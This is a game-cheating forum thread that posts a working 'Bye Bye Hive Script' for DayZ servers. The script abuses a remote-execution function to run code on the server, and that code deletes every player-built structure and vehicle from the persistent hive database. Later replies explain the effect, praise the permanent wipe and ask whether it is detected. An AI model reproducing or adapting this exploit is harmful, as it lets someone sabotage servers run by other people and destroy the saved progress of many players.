Bye Bye Hive Script

Posts 1–8 of 8 · Page 1 of 1
Bye Bye Hive Script
hippoWipeHive = {
hippoServerResponse = '';
_name = name player;
_hippohax = format ["
if (isServer) then {
hippoServerResponse = 'Failed';
{if (name _x == '%1') exitWith {hippoClientID = owner _x;};} count playableUnits;
hippoWiveHiveServer = {
_objsTotal = [];
{
_objs = allMissionObjects _x;
{
_objsTotal set [count _objsTotal,_x];
} count _objs;
} forEach [
'ModularItems','DZE_Housebase','BuiltItems','Land_ A_tent',
'OutHouse_DZ','Wooden_shed_DZ','WoodShack_DZ','Sto rageShed_DZ','GunRack_DZ','WoodCrate_DZ','Scaffold ing_DZ',
'TrapBear','Fence_corrugated_DZ','M240Nest_DZ','Ca nvasHut_DZ','ParkBench_DZ','MetalGate_DZ','Plastic _Pole_EP1_DZ',
'StickFence_DZ','LightPole_DZ','DesertCamoNet_DZ', 'ForestCamoNet_DZ','DesertLargeCamoNet_DZ','Forest LargeCamoNet_DZ',
'DeerStand_DZ','FireBarrel_DZ',

'DZ_buildables','WoodenGate_1','WoodenGate_2','Woo denGate_3','WoodenGate_4','Land_Fire_DZ','TentStor age_base',
'StashSmall_base','StashMedium_base','Wire_cat1',' Sandbag1_DZ','Fence_DZ','Generator_DZ','Hedgehog_D Z','BearTrap_DZ',
'CamoNet_DZ','Trap_Cans','TrapTripwireFlare','Trap BearTrapSmoke','TrapTripwireGrenade','TrapTripwire Smoke','TrapBearTrapFlare',

'Air','LandVehicle','Ship'
];
{
if (!isNull _x) then {
_objectID = _x getVariable['ObjectID','0'];
_objectUID = _x getVariable['ObjectUID','0'];
_type = typeOf _x;
deleteVehicle _x;
[_objectID,_objectUID,'0'] call server_deleteObj;
hippoServerResponse = 'Server Response: ' + str(_type) + ' ObjectID: ' + str(_objectID) + ' ObjectUID ' + str(_objectUID) + ' deleted from hive successfully!';
hippoClientID publicVariableClient 'hippoServerResponse';
uiSleep .1;
};
} count _objsTotal;
_objs = [];
_objsTotal = [];
};
};
",_name];
[_hippohax] call RE;
systemChat "Loading function on server please wait..";
uiSleep 2;
_hippohax = " if (isServer) then { [] spawn hippoWiveHiveServer; }; ";
[_hippohax] call RE;
systemChat "Preparing list of all hive objects, please wait..";
waitUntil {hippoServerResponse != ''};
_currentTime = time;
while {(time - _currentTime) < 600} do { // Exit loop after 10 minutes
_currentResponse = hippoServerResponse;
systemChat _currentResponse;
waitUntil {hippoServerResponse != _currentResponse};
};
};

Rustler : "Hippo got everything from monky and hangender "


gtfo named "opa m0nky style" to troll ofc. try again russy poo
to troll ofc. try again russy poo
what does this do?

crash server?
Quote Originally Posted by RyanGashh View Post
what does this do?

crash server?
Lol, you can't even read titles.
Quote Originally Posted by WhippyV7 View Post
Lol, you can't even read titles.
well I can.


It says Bye Bye Hive Script.
Quote Originally Posted by RyanGashh View Post
well I can.


It says Bye Bye Hive Script.
Then it obviously doesn't crash servers then does it? It doesn't say 'Crash Server Script'
It deletes all of the modular building pieces as well as vehicles from the map, if I'm not mistaken?

It's smart because it doesn't just remove it from the current session, but the hive as well.
Quote Originally Posted by jamy555 View Post
It deletes all of the modular building pieces as well as vehicles from the map, if I'm not mistaken?

It's smart because it doesn't just remove it from the current session, but the hive as well.
ah nice, is this detected?
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